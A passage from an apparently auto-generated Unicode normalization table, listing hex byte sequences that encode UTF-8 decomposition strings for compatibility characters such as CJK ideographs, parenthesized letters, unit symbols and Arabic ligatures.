Bytes 1780 - 17bf + 0xA0, 0x94, 0xA5, 0x44, 0xF0, 0xA0, 0x95, 0x8B, + 0x44, 0xF0, 0xA0, 0x98, 0xBA, 0x44, 0xF0, 0xA0, + 0xA0, 0x84, 0x44, 0xF0, 0xA0, 0xA3, 0x9E, 0x44, + 0xF0, 0xA0, 0xA8, 0xAC, 0x44, 0xF0, 0xA0, 0xAD, + 0xA3, 0x44, 0xF0, 0xA1, 0x93, 0xA4, 0x44, 0xF0, + 0xA1, 0x9A, 0xA8, 0x44, 0xF0, 0xA1, 0x9B, 0xAA, + 0x44, 0xF0, 0xA1, 0xA7, 0x88, 0x44, 0xF0, 0xA1, + 0xAC, 0x98, 0x44, 0xF0, 0xA1, 0xB4, 0x8B, 0x44, + // Bytes 17c0 - 17ff + 0xF0, 0xA1, 0xB7, 0xA4, 0x44, 0xF0, 0xA1, 0xB7, + 0xA6, 0x44, 0xF0, 0xA2, 0x86, 0x83, 0x44, 0xF0, + 0xA2, 0x86, 0x9F, 0x44, 0xF0, 0xA2, 0x8C, 0xB1, + 0x44, 0xF0, 0xA2, 0x9B, 0x94, 0x44, 0xF0, 0xA2, + 0xA1, 0x84, 0x44, 0xF0, 0xA2, 0xA1, 0x8A, 0x44, + 0xF0, 0xA2, 0xAC, 0x8C, 0x44, 0xF0, 0xA2, 0xAF, + 0xB1, 0x44, 0xF0, 0xA3, 0x80, 0x8A, 0x44, 0xF0, + 0xA3, 0x8A, 0xB8, 0x44, 0xF0, 0xA3, 0x8D, 0x9F, + // Bytes 1800 - 183f + 0x44, 0xF0, 0xA3, 0x8E, 0x93, 0x44, 0xF0, 0xA3, + 0x8E, 0x9C, 0x44, 0xF0, 0xA3, 0x8F, 0x83, 0x44, + 0xF0, 0xA3, 0x8F, 0x95, 0x44, 0xF0, 0xA3, 0x91, + 0xAD, 0x44, 0xF0, 0xA3, 0x9A, 0xA3, 0x44, 0xF0, + 0xA3, 0xA2, 0xA7, 0x44, 0xF0, 0xA3, 0xAA, 0x8D, + 0x44, 0xF0, 0xA3, 0xAB, 0xBA, 0x44, 0xF0, 0xA3, + 0xB2, 0xBC, 0x44, 0xF0, 0xA3, 0xB4, 0x9E, 0x44, + 0xF0, 0xA3, 0xBB, 0x91, 0x44, 0xF0, 0xA3, 0xBD, + // Bytes 1840 - 187f + 0x9E, 0x44, 0xF0, 0xA3, 0xBE, 0x8E, 0x44, 0xF0, + 0xA4, 0x89, 0xA3, 0x44, 0xF0, 0xA4, 0x8B, 0xAE, + 0x44, 0xF0, 0xA4, 0x8E, 0xAB, 0x44, 0xF0, 0xA4, + 0x98, 0x88, 0x44, 0xF0, 0xA4, 0x9C, 0xB5, 0x44, + 0xF0, 0xA4, 0xA0, 0x94, 0x44, 0xF0, 0xA4, 0xB0, + 0xB6, 0x44, 0xF0, 0xA4, 0xB2, 0x92, 0x44, 0xF0, + 0xA4, 0xBE, 0xA1, 0x44, 0xF0, 0xA4, 0xBE, 0xB8, + 0x44, 0xF0, 0xA5, 0x81, 0x84, 0x44, 0xF0, 0xA5, + // Bytes 1880 - 18bf + 0x83, 0xB2, 0x44, 0xF0, 0xA5, 0x83, 0xB3, 0x44, + 0xF0, 0xA5, 0x84, 0x99, 0x44, 0xF0, 0xA5, 0x84, + 0xB3, 0x44, 0xF0, 0xA5, 0x89, 0x89, 0x44, 0xF0, + 0xA5, 0x90, 0x9D, 0x44, 0xF0, 0xA5, 0x98, 0xA6, + 0x44, 0xF0, 0xA5, 0x9A, 0x9A, 0x44, 0xF0, 0xA5, + 0x9B, 0x85, 0x44, 0xF0, 0xA5, 0xA5, 0xBC, 0x44, + 0xF0, 0xA5, 0xAA, 0xA7, 0x44, 0xF0, 0xA5, 0xAE, + 0xAB, 0x44, 0xF0, 0xA5, 0xB2, 0x80, 0x44, 0xF0, + // Bytes 18c0 - 18ff + 0xA5, 0xB3, 0x90, 0x44, 0xF0, 0xA5, 0xBE, 0x86, + 0x44, 0xF0, 0xA6, 0x87, 0x9A, 0x44, 0xF0, 0xA6, + 0x88, 0xA8, 0x44, 0xF0, 0xA6, 0x89, 0x87, 0x44, + 0xF0, 0xA6, 0x8B, 0x99, 0x44, 0xF0, 0xA6, 0x8C, + 0xBE, 0x44, 0xF0, 0xA6, 0x93, 0x9A, 0x44, 0xF0, + 0xA6, 0x94, 0xA3, 0x44, 0xF0, 0xA6, 0x96, 0xA8, + 0x44, 0xF0, 0xA6, 0x9E, 0xA7, 0x44, 0xF0, 0xA6, + 0x9E, 0xB5, 0x44, 0xF0, 0xA6, 0xAC, 0xBC, 0x44, + // Bytes 1900 - 193f + 0xF0, 0xA6, 0xB0, 0xB6, 0x44, 0xF0, 0xA6, 0xB3, + 0x95, 0x44, 0xF0, 0xA6, 0xB5, 0xAB, 0x44, 0xF0, + 0xA6, 0xBC, 0xAC, 0x44, 0xF0, 0xA6, 0xBE, 0xB1, + 0x44, 0xF0, 0xA7, 0x83, 0x92, 0x44, 0xF0, 0xA7, + 0x8F, 0x8A, 0x44, 0xF0, 0xA7, 0x99, 0xA7, 0x44, + 0xF0, 0xA7, 0xA2, 0xAE, 0x44, 0xF0, 0xA7, 0xA5, + 0xA6, 0x44, 0xF0, 0xA7, 0xB2, 0xA8, 0x44, 0xF0, + 0xA7, 0xBB, 0x93, 0x44, 0xF0, 0xA7, 0xBC, 0xAF, + // Bytes 1940 - 197f + 0x44, 0xF0, 0xA8, 0x97, 0x92, 0x44, 0xF0, 0xA8, + 0x97, 0xAD, 0x44, 0xF0, 0xA8, 0x9C, 0xAE, 0x44, + 0xF0, 0xA8, 0xAF, 0xBA, 0x44, 0xF0, 0xA8, 0xB5, + 0xB7, 0x44, 0xF0, 0xA9, 0x85, 0x85, 0x44, 0xF0, + 0xA9, 0x87, 0x9F, 0x44, 0xF0, 0xA9, 0x88, 0x9A, + 0x44, 0xF0, 0xA9, 0x90, 0x8A, 0x44, 0xF0, 0xA9, + 0x92, 0x96, 0x44, 0xF0, 0xA9, 0x96, 0xB6, 0x44, + 0xF0, 0xA9, 0xAC, 0xB0, 0x44, 0xF0, 0xAA, 0x83, + // Bytes 1980 - 19bf + 0x8E, 0x44, 0xF0, 0xAA, 0x84, 0x85, 0x44, 0xF0, + 0xAA, 0x88, 0x8E, 0x44, 0xF0, 0xAA, 0x8A, 0x91, + 0x44, 0xF0, 0xAA, 0x8E, 0x92, 0x44, 0xF0, 0xAA, + 0x98, 0x80, 0x42, 0x21, 0x21, 0x42, 0x21, 0x3F, + 0x42, 0x2E, 0x2E, 0x42, 0x30, 0x2C, 0x42, 0x30, + 0x2E, 0x42, 0x31, 0x2C, 0x42, 0x31, 0x2E, 0x42, + 0x31, 0x30, 0x42, 0x31, 0x31, 0x42, 0x31, 0x32, + 0x42, 0x31, 0x33, 0x42, 0x31, 0x34, 0x42, 0x31, + // Bytes 19c0 - 19ff + 0x35, 0x42, 0x31, 0x36, 0x42, 0x31, 0x37, 0x42, + 0x31, 0x38, 0x42, 0x31, 0x39, 0x42, 0x32, 0x2C, + 0x42, 0x32, 0x2E, 0x42, 0x32, 0x30, 0x42, 0x32, + 0x31, 0x42, 0x32, 0x32, 0x42, 0x32, 0x33, 0x42, + 0x32, 0x34, 0x42, 0x32, 0x35, 0x42, 0x32, 0x36, + 0x42, 0x32, 0x37, 0x42, 0x32, 0x38, 0x42, 0x32, + 0x39, 0x42, 0x33, 0x2C, 0x42, 0x33, 0x2E, 0x42, + 0x33, 0x30, 0x42, 0x33, 0x31, 0x42, 0x33, 0x32, + // Bytes 1a00 - 1a3f + 0x42, 0x33, 0x33, 0x42, 0x33, 0x34, 0x42, 0x33, + 0x35, 0x42, 0x33, 0x36, 0x42, 0x33, 0x37, 0x42, + 0x33, 0x38, 0x42, 0x33, 0x39, 0x42, 0x34, 0x2C, + 0x42, 0x34, 0x2E, 0x42, 0x34, 0x30, 0x42, 0x34, + 0x31, 0x42, 0x34, 0x32, 0x42, 0x34, 0x33, 0x42, + 0x34, 0x34, 0x42, 0x34, 0x35, 0x42, 0x34, 0x36, + 0x42, 0x34, 0x37, 0x42, 0x34, 0x38, 0x42, 0x34, + 0x39, 0x42, 0x35, 0x2C, 0x42, 0x35, 0x2E, 0x42, + // Bytes 1a40 - 1a7f + 0x35, 0x30, 0x42, 0x36, 0x2C, 0x42, 0x36, 0x2E, + 0x42, 0x37, 0x2C, 0x42, 0x37, 0x2E, 0x42, 0x38, + 0x2C, 0x42, 0x38, 0x2E, 0x42, 0x39, 0x2C, 0x42, + 0x39, 0x2E, 0x42, 0x3D, 0x3D, 0x42, 0x3F, 0x21, + 0x42, 0x3F, 0x3F, 0x42, 0x41, 0x55, 0x42, 0x42, + 0x71, 0x42, 0x43, 0x44, 0x42, 0x44, 0x4A, 0x42, + 0x44, 0x5A, 0x42, 0x44, 0x7A, 0x42, 0x47, 0x42, + 0x42, 0x47, 0x79, 0x42, 0x48, 0x50, 0x42, 0x48, + // Bytes 1a80 - 1abf + 0x56, 0x42, 0x48, 0x67, 0x42, 0x48, 0x7A, 0x42, + 0x49, 0x49, 0x42, 0x49, 0x4A, 0x42, 0x49, 0x55, + 0x42, 0x49, 0x56, 0x42, 0x49, 0x58, 0x42, 0x4B, + 0x42, 0x42, 0x4B, 0x4B, 0x42, 0x4B, 0x4D, 0x42, + 0x4C, 0x4A, 0x42, 0x4C, 0x6A, 0x42, 0x4D, 0x42, + 0x42, 0x4D, 0x43, 0x42, 0x4D, 0x44, 0x42, 0x4D, + 0x52, 0x42, 0x4D, 0x56, 0x42, 0x4D, 0x57, 0x42, + 0x4E, 0x4A, 0x42, 0x4E, 0x6A, 0x42, 0x4E, 0x6F, + // Bytes 1ac0 - 1aff + 0x42, 0x50, 0x48, 0x42, 0x50, 0x52, 0x42, 0x50, + 0x61, 0x42, 0x52, 0x73, 0x42, 0x53, 0x44, 0x42, + 0x53, 0x4D, 0x42, 0x53, 0x53, 0x42, 0x53, 0x76, + 0x42, 0x54, 0x4D, 0x42, 0x56, 0x49, 0x42, 0x57, + 0x43, 0x42, 0x57, 0x5A, 0x42, 0x57, 0x62, 0x42, + 0x58, 0x49, 0x42, 0x63, 0x63, 0x42, 0x63, 0x64, + 0x42, 0x63, 0x6D, 0x42, 0x64, 0x42, 0x42, 0x64, + 0x61, 0x42, 0x64, 0x6C, 0x42, 0x64, 0x6D, 0x42, + // Bytes 1b00 - 1b3f + 0x64, 0x7A, 0x42, 0x65, 0x56, 0x42, 0x66, 0x66, + 0x42, 0x66, 0x69, 0x42, 0x66, 0x6C, 0x42, 0x66, + 0x6D, 0x42, 0x68, 0x61, 0x42, 0x69, 0x69, 0x42, + 0x69, 0x6A, 0x42, 0x69, 0x6E, 0x42, 0x69, 0x76, + 0x42, 0x69, 0x78, 0x42, 0x6B, 0x41, 0x42, 0x6B, + 0x56, 0x42, 0x6B, 0x57, 0x42, 0x6B, 0x67, 0x42, + 0x6B, 0x6C, 0x42, 0x6B, 0x6D, 0x42, 0x6B, 0x74, + 0x42, 0x6C, 0x6A, 0x42, 0x6C, 0x6D, 0x42, 0x6C, + // Bytes 1b40 - 1b7f + 0x6E, 0x42, 0x6C, 0x78, 0x42, 0x6D, 0x32, 0x42, + 0x6D, 0x33, 0x42, 0x6D, 0x41, 0x42, 0x6D, 0x56, + 0x42, 0x6D, 0x57, 0x42, 0x6D, 0x62, 0x42, 0x6D, + 0x67, 0x42, 0x6D, 0x6C, 0x42, 0x6D, 0x6D, 0x42, + 0x6D, 0x73, 0x42, 0x6E, 0x41, 0x42, 0x6E, 0x46, + 0x42, 0x6E, 0x56, 0x42, 0x6E, 0x57, 0x42, 0x6E, + 0x6A, 0x42, 0x6E, 0x6D, 0x42, 0x6E, 0x73, 0x42, + 0x6F, 0x56, 0x42, 0x70, 0x41, 0x42, 0x70, 0x46, + // Bytes 1b80 - 1bbf + 0x42, 0x70, 0x56, 0x42, 0x70, 0x57, 0x42, 0x70, + 0x63, 0x42, 0x70, 0x73, 0x42, 0x73, 0x72, 0x42, + 0x73, 0x74, 0x42, 0x76, 0x69, 0x42, 0x78, 0x69, + 0x43, 0x28, 0x31, 0x29, 0x43, 0x28, 0x32, 0x29, + 0x43, 0x28, 0x33, 0x29, 0x43, 0x28, 0x34, 0x29, + 0x43, 0x28, 0x35, 0x29, 0x43, 0x28, 0x36, 0x29, + 0x43, 0x28, 0x37, 0x29, 0x43, 0x28, 0x38, 0x29, + 0x43, 0x28, 0x39, 0x29, 0x43, 0x28, 0x41, 0x29, + // Bytes 1bc0 - 1bff + 0x43, 0x28, 0x42, 0x29, 0x43, 0x28, 0x43, 0x29, + 0x43, 0x28, 0x44, 0x29, 0x43, 0x28, 0x45, 0x29, + 0x43, 0x28, 0x46, 0x29, 0x43, 0x28, 0x47, 0x29, + 0x43, 0x28, 0x48, 0x29, 0x43, 0x28, 0x49, 0x29, + 0x43, 0x28, 0x4A, 0x29, 0x43, 0x28, 0x4B, 0x29, + 0x43, 0x28, 0x4C, 0x29, 0x43, 0x28, 0x4D, 0x29, + 0x43, 0x28, 0x4E, 0x29, 0x43, 0x28, 0x4F, 0x29, + 0x43, 0x28, 0x50, 0x29, 0x43, 0x28, 0x51, 0x29, + // Bytes 1c00 - 1c3f + 0x43, 0x28, 0x52, 0x29, 0x43, 0x28, 0x53, 0x29, + 0x43, 0x28, 0x54, 0x29, 0x43, 0x28, 0x55, 0x29, + 0x43, 0x28, 0x56, 0x29, 0x43, 0x28, 0x57, 0x29, + 0x43, 0x28, 0x58, 0x29, 0x43, 0x28, 0x59, 0x29, + 0x43, 0x28, 0x5A, 0x29, 0x43, 0x28, 0x61, 0x29, + 0x43, 0x28, 0x62, 0x29, 0x43, 0x28, 0x63, 0x29, + 0x43, 0x28, 0x64, 0x29, 0x43, 0x28, 0x65, 0x29, + 0x43, 0x28, 0x66, 0x29, 0x43, 0x28, 0x67, 0x29, + // Bytes 1c40 - 1c7f + 0x43, 0x28, 0x68, 0x29, 0x43, 0x28, 0x69, 0x29, + 0x43, 0x28, 0x6A, 0x29, 0x43, 0x28, 0x6B, 0x29, + 0x43, 0x28, 0x6C, 0x29, 0x43, 0x28, 0x6D, 0x29, + 0x43, 0x28, 0x6E, 0x29, 0x43, 0x28, 0x6F, 0x29, + 0x43, 0x28, 0x70, 0x29, 0x43, 0x28, 0x71, 0x29, + 0x43, 0x28, 0x72, 0x29, 0x43, 0x28, 0x73, 0x29, + 0x43, 0x28, 0x74, 0x29, 0x43, 0x28, 0x75, 0x29, + 0x43, 0x28, 0x76, 0x29, 0x43, 0x28, 0x77, 0x29, + // Bytes 1c80 - 1cbf + 0x43, 0x28, 0x78, 0x29, 0x43, 0x28, 0x79, 0x29, + 0x43, 0x28, 0x7A, 0x29, 0x43, 0x2E, 0x2E, 0x2E, + 0x43, 0x31, 0x30, 0x2E, 0x43, 0x31, 0x31, 0x2E, + 0x43, 0x31, 0x32, 0x2E, 0x43, 0x31, 0x33, 0x2E, + 0x43, 0x31, 0x34, 0x2E, 0x43, 0x31, 0x35, 0x2E, + 0x43, 0x31, 0x36, 0x2E, 0x43, 0x31, 0x37, 0x2E, + 0x43, 0x31, 0x38, 0x2E, 0x43, 0x31, 0x39, 0x2E, + 0x43, 0x32, 0x30, 0x2E, 0x43, 0x3A, 0x3A, 0x3D, + // Bytes 1cc0 - 1cff + 0x43, 0x3D, 0x3D, 0x3D, 0x43, 0x43, 0x6F, 0x2E, + 0x43, 0x46, 0x41, 0x58, 0x43, 0x47, 0x48, 0x7A, + 0x43, 0x47, 0x50, 0x61, 0x43, 0x49, 0x49, 0x49, + 0x43, 0x4C, 0x54, 0x44, 0x43, 0x4C, 0xC2, 0xB7, + 0x43, 0x4D, 0x48, 0x7A, 0x43, 0x4D, 0x50, 0x61, + 0x43, 0x4D, 0xCE, 0xA9, 0x43, 0x50, 0x50, 0x4D, + 0x43, 0x50, 0x50, 0x56, 0x43, 0x50, 0x54, 0x45, + 0x43, 0x54, 0x45, 0x4C, 0x43, 0x54, 0x48, 0x7A, + // Bytes 1d00 - 1d3f + 0x43, 0x56, 0x49, 0x49, 0x43, 0x58, 0x49, 0x49, + 0x43, 0x61, 0x2F, 0x63, 0x43, 0x61, 0x2F, 0x73, + 0x43, 0x61, 0xCA, 0xBE, 0x43, 0x62, 0x61, 0x72, + 0x43, 0x63, 0x2F, 0x6F, 0x43, 0x63, 0x2F, 0x75, + 0x43, 0x63, 0x61, 0x6C, 0x43, 0x63, 0x6D, 0x32, + 0x43, 0x63, 0x6D, 0x33, 0x43, 0x64, 0x6D, 0x32, + 0x43, 0x64, 0x6D, 0x33, 0x43, 0x65, 0x72, 0x67, + 0x43, 0x66, 0x66, 0x69, 0x43, 0x66, 0x66, 0x6C, + // Bytes 1d40 - 1d7f + 0x43, 0x67, 0x61, 0x6C, 0x43, 0x68, 0x50, 0x61, + 0x43, 0x69, 0x69, 0x69, 0x43, 0x6B, 0x48, 0x7A, + 0x43, 0x6B, 0x50, 0x61, 0x43, 0x6B, 0x6D, 0x32, + 0x43, 0x6B, 0x6D, 0x33, 0x43, 0x6B, 0xCE, 0xA9, + 0x43, 0x6C, 0x6F, 0x67, 0x43, 0x6C, 0xC2, 0xB7, + 0x43, 0x6D, 0x69, 0x6C, 0x43, 0x6D, 0x6D, 0x32, + 0x43, 0x6D, 0x6D, 0x33, 0x43, 0x6D, 0x6F, 0x6C, + 0x43, 0x72, 0x61, 0x64, 0x43, 0x76, 0x69, 0x69, + // Bytes 1d80 - 1dbf + 0x43, 0x78, 0x69, 0x69, 0x43, 0xC2, 0xB0, 0x43, + 0x43, 0xC2, 0xB0, 0x46, 0x43, 0xCA, 0xBC, 0x6E, + 0x43, 0xCE, 0xBC, 0x41, 0x43, 0xCE, 0xBC, 0x46, + 0x43, 0xCE, 0xBC, 0x56, 0x43, 0xCE, 0xBC, 0x57, + 0x43, 0xCE, 0xBC, 0x67, 0x43, 0xCE, 0xBC, 0x6C, + 0x43, 0xCE, 0xBC, 0x6D, 0x43, 0xCE, 0xBC, 0x73, + 0x44, 0x28, 0x31, 0x30, 0x29, 0x44, 0x28, 0x31, + 0x31, 0x29, 0x44, 0x28, 0x31, 0x32, 0x29, 0x44, + // Bytes 1dc0 - 1dff + 0x28, 0x31, 0x33, 0x29, 0x44, 0x28, 0x31, 0x34, + 0x29, 0x44, 0x28, 0x31, 0x35, 0x29, 0x44, 0x28, + 0x31, 0x36, 0x29, 0x44, 0x28, 0x31, 0x37, 0x29, + 0x44, 0x28, 0x31, 0x38, 0x29, 0x44, 0x28, 0x31, + 0x39, 0x29, 0x44, 0x28, 0x32, 0x30, 0x29, 0x44, + 0x30, 0xE7, 0x82, 0xB9, 0x44, 0x31, 0xE2, 0x81, + 0x84, 0x44, 0x31, 0xE6, 0x97, 0xA5, 0x44, 0x31, + 0xE6, 0x9C, 0x88, 0x44, 0x31, 0xE7, 0x82, 0xB9, + // Bytes 1e00 - 1e3f + 0x44, 0x32, 0xE6, 0x97, 0xA5, 0x44, 0x32, 0xE6, + 0x9C, 0x88, 0x44, 0x32, 0xE7, 0x82, 0xB9, 0x44, + 0x33, 0xE6, 0x97, 0xA5, 0x44, 0x33, 0xE6, 0x9C, + 0x88, 0x44, 0x33, 0xE7, 0x82, 0xB9, 0x44, 0x34, + 0xE6, 0x97, 0xA5, 0x44, 0x34, 0xE6, 0x9C, 0x88, + 0x44, 0x34, 0xE7, 0x82, 0xB9, 0x44, 0x35, 0xE6, + 0x97, 0xA5, 0x44, 0x35, 0xE6, 0x9C, 0x88, 0x44, + 0x35, 0xE7, 0x82, 0xB9, 0x44, 0x36, 0xE6, 0x97, + // Bytes 1e40 - 1e7f + 0xA5, 0x44, 0x36, 0xE6, 0x9C, 0x88, 0x44, 0x36, + 0xE7, 0x82, 0xB9, 0x44, 0x37, 0xE6, 0x97, 0xA5, + 0x44, 0x37, 0xE6, 0x9C, 0x88, 0x44, 0x37, 0xE7, + 0x82, 0xB9, 0x44, 0x38, 0xE6, 0x97, 0xA5, 0x44, + 0x38, 0xE6, 0x9C, 0x88, 0x44, 0x38, 0xE7, 0x82, + 0xB9, 0x44, 0x39, 0xE6, 0x97, 0xA5, 0x44, 0x39, + 0xE6, 0x9C, 0x88, 0x44, 0x39, 0xE7, 0x82, 0xB9, + 0x44, 0x56, 0x49, 0x49, 0x49, 0x44, 0x61, 0x2E, + // Bytes 1e80 - 1ebf + 0x6D, 0x2E, 0x44, 0x6B, 0x63, 0x61, 0x6C, 0x44, + 0x70, 0x2E, 0x6D, 0x2E, 0x44, 0x76, 0x69, 0x69, + 0x69, 0x44, 0xD5, 0xA5, 0xD6, 0x82, 0x44, 0xD5, + 0xB4, 0xD5, 0xA5, 0x44, 0xD5, 0xB4, 0xD5, 0xAB, + 0x44, 0xD5, 0xB4, 0xD5, 0xAD, 0x44, 0xD5, 0xB4, + 0xD5, 0xB6, 0x44, 0xD5, 0xBE, 0xD5, 0xB6, 0x44, + 0xD7, 0x90, 0xD7, 0x9C, 0x44, 0xD8, 0xA7, 0xD9, + 0xB4, 0x44, 0xD8, 0xA8, 0xD8, 0xAC, 0x44, 0xD8, + // Bytes 1ec0 - 1eff + 0xA8, 0xD8, 0xAD, 0x44, 0xD8, 0xA8, 0xD8, 0xAE, + 0x44, 0xD8, 0xA8, 0xD8, 0xB1, 0x44, 0xD8, 0xA8, + 0xD8, 0xB2, 0x44, 0xD8, 0xA8, 0xD9, 0x85, 0x44, + 0xD8, 0xA8, 0xD9, 0x86, 0x44, 0xD8, 0xA8, 0xD9, + 0x87, 0x44, 0xD8, 0xA8, 0xD9, 0x89, 0x44, 0xD8, + 0xA8, 0xD9, 0x8A, 0x44, 0xD8, 0xAA, 0xD8, 0xAC, + 0x44, 0xD8, 0xAA, 0xD8, 0xAD, 0x44, 0xD8, 0xAA, + 0xD8, 0xAE, 0x44, 0xD8, 0xAA, 0xD8, 0xB1, 0x44, + // Bytes 1f00 - 1f3f + 0xD8, 0xAA, 0xD8, 0xB2, 0x44, 0xD8, 0xAA, 0xD9, + 0x85, 0x44, 0xD8, 0xAA, 0xD9, 0x86, 0x44, 0xD8, + 0xAA, 0xD9, 0x87, 0x44, 0xD8, 0xAA, 0xD9, 0x89, + 0x44, 0xD8, 0xAA, 0xD9, 0x8A, 0x44, 0xD8, 0xAB, + 0xD8, 0xAC, 0x44, 0xD8, 0xAB, 0xD8, 0xB1, 0x44, + 0xD8, 0xAB, 0xD8, 0xB2, 0x44, 0xD8, 0xAB, 0xD9, + 0x85, 0x44, 0xD8, 0xAB, 0xD9, 0x86, 0x44, 0xD8, + 0xAB, 0xD9, 0x87, 0x44, 0xD8, 0xAB, 0xD9, 0x89, + // Bytes 1f40 - 1f7f + 0x44, 0xD8, 0xAB, 0xD9, 0x8A, 0x44, 0xD8, 0xAC, + 0xD8, 0xAD, 0x44, 0xD8, 0xAC, 0xD9, 0x85, 0x44, + 0xD8, 0xAC, 0xD9, 0x89, 0x44, 0xD8, 0xAC, 0xD9, + 0x8A, 0x44, 0xD8, 0xAD, 0xD8, 0xAC, 0x44, 0xD8, + 0xAD, 0xD9, 0x85, 0x44, 0xD8, 0xAD, 0xD9, 0x89, + 0x44, 0xD8, 0xAD, 0xD9, 0x8A, 0x44, 0xD8, 0xAE, + 0xD8, 0xAC, 0x44, 0xD8, 0xAE, 0xD8, 0xAD, 0x44, + 0xD8, 0xAE, 0xD9, 0x85, 0x44, 0xD8, 0xAE, 0xD9, + // Bytes 1f80 - 1fbf + 0x89, 0x44, 0xD8, 0xAE, 0xD9, 0x8A, 0x44, 0xD8, + 0xB3, 0xD8, 0xAC, 0x44, 0xD8, 0xB3, 0xD8, 0xAD, + 0x44, 0xD8, 0xB3, 0xD8, 0xAE, 0x44, 0xD8, 0xB3, + 0xD8, 0xB1, 0x44, 0xD8, 0xB3, 0xD9, 0x85, 0x44, + 0xD8, 0xB3, 0xD9, 0x87, 0x44, 0xD8, 0xB3, 0xD9, + 0x89, 0x44, 0xD8, 0xB3, 0xD9, 0x8A, 0x44, 0xD8, + 0xB4, 0xD8, 0xAC, 0x44, 0xD8, 0xB4, 0xD8, 0xAD, + 0x44, 0xD8, 0xB4, 0xD8, 0xAE, 0x44, 0xD8, 0xB4, + // Bytes 1fc0 - 1fff + 0xD8, 0xB1, 0x44, 0xD8, 0xB4, 0xD9, 0x85, 0x44, + 0xD8, 0xB4, 0xD9, 0x87, 0x44, 0xD8, 0xB4, 0xD9, + 0x89, 0x44, 0xD8, 0xB4, 0xD9, 0x8A, 0x44, 0xD8, + 0xB5, 0xD8, 0xAD, 0x44, 0xD8, 0xB5, 0xD8, 0xAE, + 0x44, 0xD8, 0xB5, 0xD8, 0xB1, 0x44, 0xD8, 0xB5, + 0xD9, 0x85, 0x44, 0xD8, 0xB5, 0xD9, 0x89, 0x44, + 0xD8, 0xB5, 0xD9, 0x8A, 0x44, 0xD8, 0xB6, 0xD8, + 0xAC, 0x44, 0xD8, 0xB6, 0xD8, 0xAD, 0x44, 0xD8, + // Bytes 2000 - 203f + 0xB6, 0xD8, 0xAE, 0x44, 0xD8, 0xB6, 0xD8, 0xB1, + 0x44, 0xD8, 0xB6, 0xD9, 0x85, 0x44, 0xD8, 0xB6, + 0xD9, 0x89, 0x44, 0xD8, 0xB6, 0xD9, 0x8A, 0x44, + 0xD8, 0xB7, 0xD8, 0xAD, 0x44, 0xD8, 0xB7, 0xD9, + 0x85, 0x44, 0xD8, 0xB7, 0xD9, 0x89, 0x44, 0xD8, + 0xB7, 0xD9, 0x8A, 0x44, 0xD8, 0xB8, 0xD9, 0x85, + 0x44, 0xD8, 0xB9, 0xD8, 0xAC, 0x44, 0xD8, 0xB9, + 0xD9, 0x85, 0x44, 0xD8, 0xB9, 0xD9, 0x89, 0x44, + // Bytes 2040 - 207f + 0xD8, 0xB9, 0xD9, 0x8A, 0x44, 0xD8, 0xBA, 0xD8, + 0xAC, 0x44, 0xD8, 0xBA, 0xD9, 0x85, 0x44, 0xD8, + 0xBA, 0xD9, 0x89, 0x44, 0xD8, 0xBA, 0xD9, 0x8A, + 0x44, 0xD9, 0x81, 0xD8, 0xAC, 0x44, 0xD9, 0x81, + 0xD8, 0xAD, 0x44, 0xD9, 0x81, 0xD8, 0xAE, 0x44, + 0xD9, 0x81, 0xD9, 0x85, 0x44, 0xD9, 0x81, 0xD9, + 0x89, 0x44, 0xD9, 0x81, 0xD9, 0x8A, 0x44, 0xD9, + 0x82, 0xD8, 0xAD, 0x44, 0xD9, 0x82, 0xD9, 0x85, + // Bytes 2080 - 20bf + 0x44, 0xD9, 0x82, 0xD9, 0x89, 0x44, 0xD9, 0x82, + 0xD9, 0x8A, 0x44, 0xD9, 0x83, 0xD8, 0xA7, 0x44, + 0xD9, 0x83, 0xD8, 0xAC, 0x44, 0xD9, 0x83, 0xD8, + 0xAD, 0x44, 0xD9, 0x83, 0xD8, 0xAE, 0x44, 0xD9, + 0x83, 0xD9, 0x84, 0x44, 0xD9, 0x83, 0xD9, 0x85, + 0x44, 0xD9, 0x83, 0xD9, 0x89, 0x44, 0xD9, 0x83, + 0xD9, 0x8A, 0x44, 0xD9, 0x84, 0xD8, 0xA7, 0x44, + 0xD9, 0x84, 0xD8, 0xAC, 0x44, 0xD9, 0x84, 0xD8, + // Bytes 20c0 - 20ff + 0xAD, 0x44, 0xD9, 0x84, 0xD8, 0xAE, 0x44, 0xD9, + 0x84, 0xD9, 0x85, 0x44, 0xD9, 0x84, 0xD9, 0x87, + 0x44, 0xD9, 0x84, 0xD9, 0x89, 0x44, 0xD9, 0x84, + 0xD9, 0x8A, 0x44, 0xD9, 0x85, 0xD8, 0xA7, 0x44, + 0xD9, 0x85, 0xD8, 0xAC, 0x44, 0xD9, 0x85, 0xD8, + 0xAD, 0x44, 0xD9, 0x85, 0xD8, 0xAE, 0x44, 0xD9, + 0x85, 0xD9, 0x85, 0x44, 0xD9, 0x85, 0xD9, 0x89, + 0x44, 0xD9, 0x85, 0xD9, 0x8A, 0x44, 0xD9, 0x86, + // Bytes 2100 - 213f + 0xD8, 0xAC, 0x44, 0xD9, 0x86, 0xD8, 0xAD, 0x44, + 0xD9, 0x86, 0xD8, 0xAE, 0x44, 0xD9, 0x86, 0xD8, + 0xB1, 0x44, 0xD9, 0x86, 0xD8, 0xB2, 0x44, 0xD9, + 0x86, 0xD9, 0x85, 0x44, 0xD9, 0x86, 0xD9, 0x86, + 0x44, 0xD9, 0x86, 0xD9, 0x87, 0x44, 0xD9, 0x86, + 0xD9, 0x89, 0x44, 0xD9, 0x86, 0xD9, 0x8A, 0x44, + 0xD9, 0x87, 0xD8, 0xAC, 0x44, 0xD9, 0x87, 0xD9, + 0x85, 0x44, 0xD9, 0x87, 0xD9, 0x89, 0x44, 0xD9, + // Bytes 2140 - 217f + 0x87, 0xD9, 0x8A, 0x44, 0xD9, 0x88, 0xD9, 0xB4, + 0x44, 0xD9, 0x8A, 0xD8, 0xAC, 0x44, 0xD9, 0x8A, + 0xD8, 0xAD, 0x44, 0xD9, 0x8A, 0xD8, 0xAE, 0x44, + 0xD9, 0x8A, 0xD8, 0xB1, 0x44, 0xD9, 0x8A, 0xD8, + 0xB2, 0x44, 0xD9, 0x8A, 0xD9, 0x85, 0x44, 0xD9, + 0x8A, 0xD9, 0x86, 0x44, 0xD9, 0x8A, 0xD9, 0x87, + 0x44, 0xD9, 0x8A, 0xD9, 0x89, 0x44, 0xD9, 0x8A, + 0xD9, 0x8A, 0x44, 0xD9, 0x8A, 0xD9, 0xB4, 0x44, + // Bytes 2180 - 21bf + 0xDB, 0x87, 0xD9, 0xB4, 0x45, 0x28, 0xE1, 0x84, + 0x80, 0x29, 0x45, 0x28, 0xE1, 0x84, 0x82, 0x29, + 